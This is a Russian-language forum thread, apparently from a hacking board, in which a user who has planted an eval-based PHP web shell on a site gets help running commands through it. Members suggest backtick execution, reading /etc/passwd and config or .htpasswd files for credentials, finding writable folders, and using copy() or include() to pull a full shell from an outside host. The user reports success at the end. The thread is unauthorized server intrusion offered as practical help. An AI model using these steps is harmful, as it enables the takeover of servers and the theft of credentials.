PDA

Просмотр полной версии : php шелл не работают команды


nullik
08.05.2010, 23:46
залит eval('cmd') php шелл, но в чем проблема не понятно
команда shell.php?cmd=passthru('uname'); выдаёт Linux
а уже passthru('uname -a'); выдаёт пустой лист.
Так же с 'ls' (выдает список файлов) и 'ls -a' (пустой лист), в итоге не могу залить нормальный шелл. Ни через php функцию copy, file_get_contents, ни через exec (wget);
Подскажите в чем проблема, плиз.

попугай
09.05.2010, 00:00
вместо пробела "+" ставь

Konqi
09.05.2010, 00:02
ешо через принт попробуй

print(`ls -al`)

nullik
09.05.2010, 00:23
вместо пробела "+" ставь
passthru('uname+-a');
пустой лист.
print(`ls -al`)
работает правильно, тогда вопрос как залить шелл в такой ситуации?
copy(`http://moy sayt.com/shell.txt`,dirname(__FILE__).`/shell.php`);
не срабатывает например

Konqi
09.05.2010, 00:27
wget не катит?

nullik
09.05.2010, 00:28
wget не катит?
дай плиз полную выкладку по wget, может я где промахиваюсь

Konqi
09.05.2010, 00:36
http://www.gnu.org/software/wget/manual/wget.html

а еще можешь читать системные файлы если есть права

print(`cat /etc/passwd`)

определи полный путь к сайту и читай скрипты

nullik
09.05.2010, 00:39
определи полный путь к сайту и читай скрипты
не хочу читать, хочу писать
смысл в shadow файлах?
дай плиз php команду для залива, wget -o не срабатывает, GET тоже, fetch Не хочет, может я где не так пишу - напиши пример (гугль шарил, не помогло).

Konqi
09.05.2010, 00:43
не хочу читать, хочу писать


если можешь читать конфиг файлы увидишь много интересного,
например admin.php,db.php,login.php

или файлы .htaccess, .htpasswd

ешо попробуй include("yoursite.com/shell.php"); или require()

попугай
09.05.2010, 00:43
copy(`http://moy sayt.com/shell.txt`,dirname(__FILE__).`/shell.php`);
не срабатывает например

такие кавычки нельзя использовать для опредления строк, только ' и "

для начала найди папки, куда писать можно командой ls -lia или find

Pashkela
09.05.2010, 00:57
https://forum.antichat.net/thread191917.html

nullik
09.05.2010, 01:01
print(`find . -perm 775`);
моя папка доступна на запись, как залиться то?

nullik
09.05.2010, 01:09
Всем спасибо, общими усилиями шелл был залит.